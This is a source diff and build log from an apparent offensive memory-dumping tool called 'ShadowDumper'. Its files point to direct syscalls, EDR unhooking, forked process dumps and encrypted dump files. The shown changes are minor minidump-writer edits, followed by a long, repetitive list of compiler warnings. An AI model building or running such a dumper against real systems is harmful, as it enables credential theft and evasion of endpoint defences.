extern bool DecryptDumpFile(LPCWSTR input, LPCWSTR output);
extern bool syscallsNative();
#define STATUS_SUCCESS 0
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OVERWRITE_IF 0x00000005
+4 -4
View File
@@ -1,6 +1,8 @@
#include <iostream>
#include "syscallsnative.h"
#include <Psapi.h>
#include "DebugHelper.h"
#include <vector>
#pragma comment(lib, "dbghelp.lib")
#pragma comment(lib, "Version.lib")
@@ -37,14 +39,15 @@ DWORD GetProcessIdByName(const std::wstring& processName) {
void watfile(struct dump_context* dc, RVA rva, const void* data, unsigned size)
{
DWORD written;
DWORD written;
SetFilePointer(dc->hFile, rva, NULL, FILE_BEGIN);
WriteFile(dc->hFile, data, size, &written, NULL);
}
void append(struct dump_context* dc, const void* data, unsigned size)
{
watfile(dc, dc->rva, data, size);
dc->rva += size;
}
@@ -158,8 +161,6 @@ failed:
}
void minidump_add_memory_block(struct dump_context* dc, ULONG64 base, ULONG size, ULONG rva)
{
if (!dc->mem)
@@ -491,7 +492,6 @@ BOOL mdwdA(HANDLE hProcess, DWORD pid, HANDLE hFile)
dc.rva += nStreams * sizeof(mdDir);
idx_stream = 0;
mdDir.StreamType = SystemInfoStream;
mdDir.Location.Rva = dc.rva;
mdDir.Location.DataSize = dumpsysinfo(&dc);
@@ -0,0 +1,416 @@
Assembling nativeASM.asm...
Assembling sysMDWD.asm...
callbacksMDWD.cpp
decrypt.cpp
forkdump.cpp
The contents of <format> are available only with C++20 or later.
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1923,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2573): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2090,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2574): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2099,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2575): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2117,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2576): message : see previous definition of 'STATUS_INVALID_HANDLE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2162,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2577): message : see previous definition of 'STATUS_INVALID_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2262,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2578): message : see previous definition of 'STATUS_NO_MEMORY'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2319,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2579): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2400,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2580): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(2409,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2581): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2582): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2583): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2584): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2585): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2586): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3392,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2587): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3402,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2588): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3412,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2589): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3422,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2590): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3432,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2591): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(3442,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2592): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4388,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2593): message : see previous definition of 'STATUS_STACK_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4905,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2594): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4934,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2595): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4944,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2596): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(4954,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2597): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(5032,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2598): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(6029,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2599): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7623,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2600): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7633,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2601): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(7765,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2602): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8748,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2603): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(8976,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2604): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9103,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2605): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(9166,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2606): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10075,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2607): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10808,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2608): message : see previous definition of 'STATUS_INTERRUPTED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(10817,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2609): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(11129,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2610): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15048,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2612): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(15057,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2613): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(31,6): warning C4090: 'argument': different '__unaligned' qualifiers
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(119,62): warning C4311: 'type cast': pointer truncation from 'HANDLE' to 'DWORD'
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\forkdump.cpp(119,62): warning C4302: 'type cast': truncation from 'HANDLE' to 'DWORD'
main.cpp
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\unhook.h(13,1): warning C4005: 'NtCurrentProcess': macro redefinition
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(21): message : see previous definition of 'NtCurrentProcess'
The contents of <format> are available only with C++20 or later.
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2549): message : see previous definition of 'STATUS_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(171,1): warning C4005: 'STATUS_SUCCESS': macro redefinition
C:\Users\DARKN3T\source\repos\ShadowDumper\ShadowDumper\syscallsNative.h(24): message : see previous definition of 'STATUS_SUCCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(223,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2550): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(246,1): warning C4005: 'STATUS_USER_APC': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2551): message : see previous definition of 'STATUS_USER_APC'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(282,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2552): message : see previous definition of 'STATUS_TIMEOUT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(291,1): warning C4005: 'STATUS_PENDING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PENDING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(747,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2554): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(756,1): warning C4005: 'DBG_CONTINUE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2555): message : see previous definition of 'DBG_CONTINUE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(831,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2556): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(994,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2557): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1332,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2558): message : see previous definition of 'DBG_REPLY_LATER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1350,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2559): message : see previous definition of 'DBG_TERMINATE_THREAD'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1359,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2560): message : see previous definition of 'DBG_TERMINATE_PROCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1368,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2561): message : see previous definition of 'DBG_CONTROL_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1377,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2562): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1386,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2563): message : see previous definition of 'DBG_RIPEXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1395,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2564): message : see previous definition of 'DBG_CONTROL_BREAK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1404,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2565): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1413,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2566): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1445,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2567): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1456,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2568): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1467,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2569): message : see previous definition of 'STATUS_BREAKPOINT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1478,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2570): message : see previous definition of 'STATUS_SINGLE_STEP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1781,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2571): message : see previous definition of 'STATUS_LONGJUMP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\shared\ntstatus.h(1808,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\winnt.h(2572): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
